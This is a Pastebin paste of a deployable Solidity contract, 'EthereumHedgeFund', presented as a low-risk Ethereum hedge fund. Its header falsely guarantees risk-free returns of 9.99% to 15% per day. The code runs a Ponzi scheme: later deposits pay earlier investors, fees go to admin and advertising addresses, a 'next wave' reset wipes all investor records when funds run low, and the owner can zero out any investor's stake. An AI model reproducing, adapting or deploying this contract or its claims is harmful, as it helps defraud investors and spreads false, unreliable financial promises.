SHARE
TWEET

Untitled

a guest Oct 21st, 2019 78 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /**
  2.  *Submitted for verification at Etherscan.io on 2019-07-24
  3. */
  4.  
  5. pragma solidity 0.4.25;
  6.  
  7. /**
  8. *
  9. * Ethereumfund.io Ethereum Hedge Fund is a hedge fund based on the cryptocurrencies that helps to all investors in our fund
  10. * to Minimize the risks of investing in cryptocurrencies and
  11. * Maximize your ETH profits from 9.99% per day, 299.7% per month, 3596.4% per year.
  12. * Ethereumfund.io guarantees low risk and high profitability your capital.
  13. * Risk-free investment in the future with a profit of 9.99% every day. Maximum percent 15% per day (450% per month).
  14. * Referral program: referrer - 10%-15%, referral - 10%. If you use two of your ETH-Wallet you can get +25% referral to your deposit!  
  15. * Join now and Get Your Profit 9.99% Every Day Forever! For Real Without a Fraud. Save and increase your capital. Ethereumfund.io
  16. *
  17. */
  18.  
  19. library Math {
  20.   function min(uint a, uint b) internal pure returns(uint) {
  21.     if (a > b) {
  22.       return b;
  23.     }
  24.     return a;
  25.   }
  26. }
  27.  
  28.  
  29. library Zero {
  30.   function requireNotZero(address addr) internal pure {
  31.     require(addr != address(0), "require not zero address");
  32.   }
  33.  
  34.   function requireNotZero(uint val) internal pure {
  35.     require(val != 0, "require not zero value");
  36.   }
  37.  
  38.   function notZero(address addr) internal pure returns(bool) {
  39.     return !(addr == address(0));
  40.   }
  41.  
  42.   function isZero(address addr) internal pure returns(bool) {
  43.     return addr == address(0);
  44.   }
  45.  
  46.   function isZero(uint a) internal pure returns(bool) {
  47.     return a == 0;
  48.   }
  49.  
  50.   function notZero(uint a) internal pure returns(bool) {
  51.     return a != 0;
  52.   }
  53. }
  54.  
  55.  
  56. library Percent {
  57.   struct percent {
  58.     uint num;
  59.     uint den;
  60.   }
  61.  
  62.   function mul(percent storage p, uint a) internal view returns (uint) {
  63.     if (a == 0) {
  64.       return 0;
  65.     }
  66.     return a*p.num/p.den;
  67.   }
  68.  
  69.   function div(percent storage p, uint a) internal view returns (uint) {
  70.     return a/p.num*p.den;
  71.   }
  72.  
  73.   function sub(percent storage p, uint a) internal view returns (uint) {
  74.     uint b = mul(p, a);
  75.     if (b >= a) {
  76.       return 0;
  77.     }
  78.     return a - b;
  79.   }
  80.  
  81.   function add(percent storage p, uint a) internal view returns (uint) {
  82.     return a + mul(p, a);
  83.   }
  84.  
  85.   function toMemory(percent storage p) internal view returns (Percent.percent memory) {
  86.     return Percent.percent(p.num, p.den);
  87.   }
  88.  
  89.   function mmul(percent memory p, uint a) internal pure returns (uint) {
  90.     if (a == 0) {
  91.       return 0;
  92.     }
  93.     return a*p.num/p.den;
  94.   }
  95.  
  96.   function mdiv(percent memory p, uint a) internal pure returns (uint) {
  97.     return a/p.num*p.den;
  98.   }
  99.  
  100.   function msub(percent memory p, uint a) internal pure returns (uint) {
  101.     uint b = mmul(p, a);
  102.     if (b >= a) {
  103.       return 0;
  104.     }
  105.     return a - b;
  106.   }
  107.  
  108.   function madd(percent memory p, uint a) internal pure returns (uint) {
  109.     return a + mmul(p, a);
  110.   }
  111. }
  112.  
  113.  
  114. library Address {
  115.   function toAddress(bytes source) internal pure returns(address addr) {
  116.     assembly { addr := mload(add(source,0x14)) }
  117.     return addr;
  118.   }
  119.  
  120.   function isNotContract(address addr) internal view returns(bool) {
  121.     uint length;
  122.     assembly { length := extcodesize(addr) }
  123.     return length == 0;
  124.   }
  125. }
  126.  
  127.  
  128. /**
  129.  * @title SafeMath
  130.  * @dev Math operations with safety checks that revert on error
  131.  */
  132. library SafeMath {
  133.  
  134.   /**
  135.   * @dev Multiplies two numbers, reverts on overflow.
  136.   */
  137.   function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
  138.     if (_a == 0) {
  139.       return 0;
  140.     }
  141.  
  142.     uint256 c = _a * _b;
  143.     require(c / _a == _b);
  144.  
  145.     return c;
  146.   }
  147.  
  148.   /**
  149.   * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
  150.   */
  151.   function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
  152.     require(_b > 0); // Solidity only automatically asserts when dividing by 0
  153.     uint256 c = _a / _b;
  154.     // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
  155.  
  156.     return c;
  157.   }
  158.  
  159.   /**
  160.   * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
  161.   */
  162.   function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
  163.     require(_b <= _a);
  164.     uint256 c = _a - _b;
  165.  
  166.     return c;
  167.   }
  168.  
  169.   /**
  170.   * @dev Adds two numbers, reverts on overflow.
  171.   */
  172.   function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
  173.     uint256 c = _a + _b;
  174.     require(c >= _a);
  175.  
  176.     return c;
  177.   }
  178.  
  179.   /**
  180.   * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
  181.   * reverts when dividing by zero.
  182.   */
  183.   function mod(uint256 a, uint256 b) internal pure returns (uint256) {
  184.     require(b != 0);
  185.     return a % b;
  186.   }
  187. }
  188.  
  189.  
  190. contract Accessibility {
  191.   address private owner;
  192.   modifier onlyOwner() {
  193.     require(msg.sender == owner, "access denied");
  194.     _;
  195.   }
  196.  
  197.   constructor() public {
  198.     owner = msg.sender;
  199.   }
  200.  
  201.   function disown() internal {
  202.     delete owner;
  203.   }
  204. }
  205.  
  206.  
  207. contract Rev1Storage {
  208.   function investorShortInfo(address addr) public view returns(uint value, uint refBonus);
  209. }
  210.  
  211.  
  212. contract Rev2Storage {
  213.   function investorInfo(address addr) public view returns(uint investment, uint paymentTime);
  214. }
  215.  
  216.  
  217. library PrivateEntrance {
  218.   using PrivateEntrance for privateEntrance;
  219.   using Math for uint;
  220.   struct privateEntrance {
  221.     Rev1Storage rev1Storage;
  222.     Rev2Storage rev2Storage;
  223.     uint investorMaxInvestment;
  224.     uint endTimestamp;
  225.     mapping(address=>bool) hasAccess;
  226.   }
  227.  
  228.   function isActive(privateEntrance storage pe) internal view returns(bool) {
  229.     return pe.endTimestamp > now;
  230.   }
  231.  
  232.   function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) {
  233.     if (!pe.hasAccess[investorAddr]) {
  234.       return 0;
  235.     }
  236.  
  237.     (uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr);
  238.     if (maxInvestment == 0) {
  239.       return 0;
  240.     }
  241.     maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment);
  242.  
  243.     (uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr);
  244.    
  245.     if (currInvestment >= maxInvestment) {
  246.       return 0;
  247.     }
  248.  
  249.     return maxInvestment-currInvestment;
  250.   }
  251.  
  252.   function provideAccessFor(privateEntrance storage pe, address[] addrs) internal {
  253.     for (uint16 i; i < addrs.length; i++) {
  254.       pe.hasAccess[addrs[i]] = true;
  255.     }
  256.   }
  257. }
  258.  
  259.  
  260. contract InvestorsStorage is Accessibility {
  261.   struct Investor {
  262.     uint investment;
  263.     uint paymentTime;
  264.   }
  265.   uint public size;
  266.  
  267.   mapping (address => Investor) private investors;
  268.  
  269.   function isInvestor(address addr) public view returns (bool) {
  270.     return investors[addr].investment > 0;
  271.   }
  272.  
  273.   function investorInfo(address addr) public view returns(uint investment, uint paymentTime) {
  274.     investment = investors[addr].investment;
  275.     paymentTime = investors[addr].paymentTime;
  276.   }
  277.  
  278.   function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) {
  279.     Investor storage inv = investors[addr];
  280.     if (inv.investment != 0 || investment == 0) {
  281.       return false;
  282.     }
  283.     inv.investment = investment;
  284.     inv.paymentTime = paymentTime;
  285.     size++;
  286.     return true;
  287.   }
  288.  
  289.   function addInvestment(address addr, uint investment) public onlyOwner returns (bool) {
  290.     if (investors[addr].investment == 0) {
  291.       return false;
  292.     }
  293.     investors[addr].investment += investment;
  294.     return true;
  295.   }
  296.  
  297.   function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
  298.     if (investors[addr].investment == 0) {
  299.       return false;
  300.     }
  301.     investors[addr].paymentTime = paymentTime;
  302.     return true;
  303.   }
  304.  
  305.   function disqalify(address addr) public onlyOwner returns (bool) {
  306.     if (isInvestor(addr)) {
  307.       investors[addr].investment = 0;
  308.     }
  309.   }
  310. }
  311.  
  312.  
  313. library RapidGrowthProtection {
  314.   using RapidGrowthProtection for rapidGrowthProtection;
  315.  
  316.   struct rapidGrowthProtection {
  317.     uint startTimestamp;
  318.     uint maxDailyTotalInvestment;
  319.     uint8 activityDays;
  320.     mapping(uint8 => uint) dailyTotalInvestment;
  321.   }
  322.  
  323.   function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) {
  324.     uint day = rgp.currDay();
  325.     if (day == 0 || day > rgp.activityDays) {
  326.       return 0;
  327.     }
  328.     if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) {
  329.       return 0;
  330.     }
  331.     return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)];
  332.   }
  333.  
  334.   function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) {
  335.     uint day = rgp.currDay();
  336.     return day != 0 && day <= rgp.activityDays;
  337.   }
  338.  
  339.   function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) {
  340.     uint day = rgp.currDay();
  341.     if (day == 0 || day > rgp.activityDays) {
  342.       return false;
  343.     }
  344.     if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) {
  345.       return false;
  346.     }
  347.     rgp.dailyTotalInvestment[uint8(day)] += investment;
  348.     return true;
  349.   }
  350.  
  351.   function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal {
  352.     rgp.startTimestamp = timestamp;
  353.  
  354.     // restart
  355.     for (uint8 i = 1; i <= rgp.activityDays; i++) {
  356.       if (rgp.dailyTotalInvestment[i] != 0) {
  357.         delete rgp.dailyTotalInvestment[i];
  358.       }
  359.     }
  360.   }
  361.  
  362.   function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) {
  363.     if (rgp.startTimestamp > now) {
  364.       return 0;
  365.     }
  366.     day = (now - rgp.startTimestamp) / 24 hours + 1;
  367.   }
  368. }
  369.  
  370. contract EthereumHedgeFund is Accessibility {
  371.   using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection;
  372.   using PrivateEntrance for PrivateEntrance.privateEntrance;
  373.   using Percent for Percent.percent;
  374.   using SafeMath for uint;
  375.   using Math for uint;
  376.  
  377.   // easy read for investors
  378.   using Address for *;
  379.   using Zero for *;
  380.  
  381.   RapidGrowthProtection.rapidGrowthProtection private m_rgp;
  382.   PrivateEntrance.privateEntrance private m_privEnter;
  383.   mapping(address => bool) private m_referrals;
  384.   InvestorsStorage private m_investors;
  385.  
  386.   // automatically generates getters
  387.   uint public constant minInvesment = 10 finney;
  388.   uint public constant maxBalance = 333e5 ether;
  389.   address public advertisingAddress;
  390.   address public adminsAddress;
  391.   uint public investmentsNumber;
  392.   uint public waveStartup;
  393.  
  394.   // percents
  395.   Percent.percent private m_5_percent = Percent.percent(999,10000);            // 999/10000 *100% = 9.99%
  396.   Percent.percent private m_6_percent = Percent.percent(10,100);            // 10/100 *100% = 10%
  397.   Percent.percent private m_7_percent = Percent.percent(11,100);            // 11/100 *100% = 11%
  398.   Percent.percent private m_8_percent = Percent.percent(12,100);            // 12/100 *100% = 12%
  399.   Percent.percent private m_9_percent = Percent.percent(13,100);            // 13/100 *100% = 13%
  400.   Percent.percent private m_10_percent = Percent.percent(14,100);          // 14/100 *100% = 14%
  401.   Percent.percent private m_11_percent = Percent.percent(15,100);            // 15/100 *100% = 15%
  402.   Percent.percent private m_12_percent = Percent.percent(16,100);            // 16/100 *100% = 16%
  403.   Percent.percent private m_referal_percent = Percent.percent(10,100);        // 10/100 *100% = 10%
  404.   Percent.percent private m_referrer_percent = Percent.percent(10,100);       // 10/100 *100% = 10%
  405.   Percent.percent private m_referrer_percentMax = Percent.percent(15,100);   // 15/100 *100% = 15%
  406.   Percent.percent private m_adminsPercent = Percent.percent(55, 1000);       //   55/100  *100% = 5.5%
  407.   Percent.percent private m_advertisingPercent = Percent.percent(95, 1000);// 95/1000  *100% = 9.5%
  408.  
  409.   // more events for easy read from blockchain
  410.   event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
  411.   event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
  412.   event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
  413.   event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
  414.   event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
  415.   event LogNewInvesment(address indexed addr, uint when, uint investment, uint value);
  416.   event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
  417.   event LogPayDividends(address indexed addr, uint when, uint dividends);
  418.   event LogNewInvestor(address indexed addr, uint when);
  419.   event LogBalanceChanged(uint when, uint balance);
  420.   event LogNextWave(uint when);
  421.   event LogDisown(uint when);
  422.  
  423.  
  424.   modifier balanceChanged {
  425.     _;
  426.     emit LogBalanceChanged(now, address(this).balance);
  427.   }
  428.  
  429.   modifier notFromContract() {
  430.     require(msg.sender.isNotContract(), "only externally accounts");
  431.     _;
  432.   }
  433.  
  434.   constructor() public {
  435.     adminsAddress = msg.sender;
  436.     advertisingAddress = msg.sender;
  437.     nextWave();
  438.   }
  439.  
  440.   function() public payable {
  441.     // investor get him dividends
  442.     if (msg.value.isZero()) {
  443.       getMyDividends();
  444.       return;
  445.     }
  446.  
  447.     // sender do invest
  448.     doInvest(msg.data.toAddress());
  449.   }
  450.  
  451.   function disqualifyAddress(address addr) public onlyOwner {
  452.     m_investors.disqalify(addr);
  453.   }
  454.  
  455.   function doDisown() public onlyOwner {
  456.     disown();
  457.     emit LogDisown(now);
  458.   }
  459.  
  460.   function init(address rev1StorageAddr, uint timestamp) public onlyOwner {
  461.     // init Rapid Growth Protection
  462.     m_rgp.startTimestamp = timestamp + 1;
  463.     m_rgp.maxDailyTotalInvestment = 500 ether;
  464.     m_rgp.activityDays = 21;
  465.     emit LogRGPInit(
  466.       now,
  467.       m_rgp.startTimestamp,
  468.       m_rgp.maxDailyTotalInvestment,
  469.       m_rgp.activityDays
  470.     );
  471.  
  472.  
  473.     // init Private Entrance
  474.     m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr);
  475.     m_privEnter.rev2Storage = Rev2Storage(address(m_investors));
  476.     m_privEnter.investorMaxInvestment = 50 ether;
  477.     m_privEnter.endTimestamp = timestamp;
  478.     emit LogPEInit(
  479.       now,
  480.       address(m_privEnter.rev1Storage),
  481.       address(m_privEnter.rev2Storage),
  482.       m_privEnter.investorMaxInvestment,
  483.       m_privEnter.endTimestamp
  484.     );
  485.   }
  486.  
  487.   function setAdvertisingAddress(address addr) public onlyOwner {
  488.     addr.requireNotZero();
  489.     advertisingAddress = addr;
  490.   }
  491.  
  492.   function setAdminsAddress(address addr) public onlyOwner {
  493.     addr.requireNotZero();
  494.     adminsAddress = addr;
  495.   }
  496.  
  497.   function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner {
  498.     m_privEnter.provideAccessFor(addrs);
  499.   }
  500.  
  501.   function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) {
  502.     investment = m_rgp.maxInvestmentAtNow();
  503.   }
  504.  
  505.   function investorsNumber() public view returns(uint) {
  506.     return m_investors.size();
  507.   }
  508.  
  509.   function balanceETH() public view returns(uint) {
  510.     return address(this).balance;
  511.   }
  512.  
  513.   function advertisingPercent() public view returns(uint numerator, uint denominator) {
  514.     (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
  515.   }
  516.  
  517.   function adminsPercent() public view returns(uint numerator, uint denominator) {
  518.     (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
  519.   }
  520.  
  521.   function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) {
  522.     (investment, paymentTime) = m_investors.investorInfo(investorAddr);
  523.     isReferral = m_referrals[investorAddr];
  524.   }
  525.  
  526.   function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
  527.     dividends = calcDividends(investorAddr);
  528.   }
  529.  
  530.   function dailyPercentAtNow() public view returns(uint numerator, uint denominator) {
  531.     Percent.percent memory p = dailyPercent();
  532.     (numerator, denominator) = (p.num, p.den);
  533.   }
  534.  
  535.   function getMyDividends() public notFromContract balanceChanged {
  536.     // calculate dividends
  537.    
  538.     //check if 1 day passed after last payment
  539.     require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours);
  540.  
  541.     uint dividends = calcDividends(msg.sender);
  542.     require (dividends.notZero(), "cannot to pay zero dividends");
  543.  
  544.     // update investor payment timestamp
  545.     assert(m_investors.setPaymentTime(msg.sender, now));
  546.  
  547.     // check enough eth - goto next wave if needed
  548.     if (address(this).balance <= dividends) {
  549.       nextWave();
  550.       dividends = address(this).balance;
  551.     }
  552.  
  553.     // transfer dividends to investor
  554.     msg.sender.transfer(dividends);
  555.     emit LogPayDividends(msg.sender, now, dividends);
  556.   }
  557.  
  558.   function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
  559.     uint investment = msg.value;
  560.     uint receivedEther = msg.value;
  561.     require(investment >= minInvesment, "investment must be >= minInvesment");
  562.     require(address(this).balance <= maxBalance, "the contract eth balance limit");
  563.  
  564.     if (m_rgp.isActive()) {
  565.       // use Rapid Growth Protection if needed
  566.       uint rpgMaxInvest = m_rgp.maxInvestmentAtNow();
  567.       rpgMaxInvest.requireNotZero();
  568.       investment = Math.min(investment, rpgMaxInvest);
  569.       assert(m_rgp.saveInvestment(investment));
  570.       emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay());
  571.      
  572.     } else if (m_privEnter.isActive()) {
  573.       // use Private Entrance if needed
  574.       uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender);
  575.       peMaxInvest.requireNotZero();
  576.       investment = Math.min(investment, peMaxInvest);
  577.     }
  578.  
  579.     // send excess of ether if needed
  580.     if (receivedEther > investment) {
  581.       uint excess = receivedEther - investment;
  582.       msg.sender.transfer(excess);
  583.       receivedEther = investment;
  584.       emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
  585.     }
  586.  
  587.     // commission
  588.     advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
  589.     adminsAddress.send(m_adminsPercent.mul(receivedEther));
  590.  
  591.     bool senderIsInvestor = m_investors.isInvestor(msg.sender);
  592.  
  593.     // ref system works only once and only on first invest
  594.     if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
  595.       referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
  596.      
  597.       m_referrals[msg.sender] = true;
  598.       // add referral bonus to investor`s and referral`s investments
  599.       uint referrerBonus = m_referrer_percent.mmul(investment);
  600.       if (investment > 10 ether) {
  601.         referrerBonus = m_referrer_percentMax.mmul(investment);
  602.       }
  603.      
  604.       uint referalBonus = m_referal_percent.mmul(investment);
  605.       assert(m_investors.addInvestment(referrerAddr, referrerBonus)); // add referrer bonus
  606.       investment += referalBonus;                                    // add referral bonus
  607.       emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
  608.     }
  609.  
  610.     // automatic reinvest - prevent burning dividends
  611.     uint dividends = calcDividends(msg.sender);
  612.     if (senderIsInvestor && dividends.notZero()) {
  613.       investment += dividends;
  614.       emit LogAutomaticReinvest(msg.sender, now, dividends);
  615.     }
  616.  
  617.     if (senderIsInvestor) {
  618.       // update existing investor
  619.       assert(m_investors.addInvestment(msg.sender, investment));
  620.       assert(m_investors.setPaymentTime(msg.sender, now));
  621.     } else {
  622.       // create new investor
  623.       assert(m_investors.newInvestor(msg.sender, investment, now));
  624.       emit LogNewInvestor(msg.sender, now);
  625.     }
  626.  
  627.     investmentsNumber++;
  628.     emit LogNewInvesment(msg.sender, now, investment, receivedEther);
  629.   }
  630.  
  631.   function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
  632.     (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr);
  633.     return InvestorsStorage.Investor(investment, paymentTime);
  634.   }
  635.  
  636.   function calcDividends(address investorAddr) internal view returns(uint dividends) {
  637.     InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
  638.  
  639.     // safe gas if dividends will be 0
  640.     if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) {
  641.       return 0;
  642.     }
  643.    
  644.     // for prevent burning daily dividends if 24h did not pass - calculate it per 10 min interval
  645.     Percent.percent memory p = dailyPercent();
  646.     dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144;
  647.   }
  648.  
  649.   function dailyPercent() internal view returns(Percent.percent memory p) {
  650.     uint balance = address(this).balance;
  651.  
  652.     if (balance < 500 ether) {
  653.       p = m_5_percent.toMemory();
  654.     } else if ( 500 ether <= balance && balance <= 1500 ether) {
  655.       p = m_6_percent.toMemory();    
  656.     } else if ( 1500 ether <= balance && balance <= 5000 ether) {
  657.       p = m_7_percent.toMemory();  
  658.     } else if ( 5000 ether <= balance && balance <= 10000 ether) {
  659.       p = m_8_percent.toMemory();  
  660.     } else if ( 10000 ether <= balance && balance <= 20000 ether) {
  661.       p = m_9_percent.toMemory();    
  662.     } else if ( 20000 ether <= balance && balance <= 30000 ether) {
  663.       p = m_10_percent.toMemory();  
  664.     } else if ( 30000 ether <= balance && balance <= 50000 ether) {
  665.       p = m_11_percent.toMemory();  
  666.     } else {
  667.       p = m_12_percent.toMemory();    
  668.     }
  669.   }
  670.  
  671.   function nextWave() private {
  672.     m_investors = new InvestorsStorage();
  673.     investmentsNumber = 0;
  674.     waveStartup = now;
  675.     m_rgp.startAt(now);
  676.     emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays);
  677.     emit LogNextWave(now);
  678.   }
  679. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top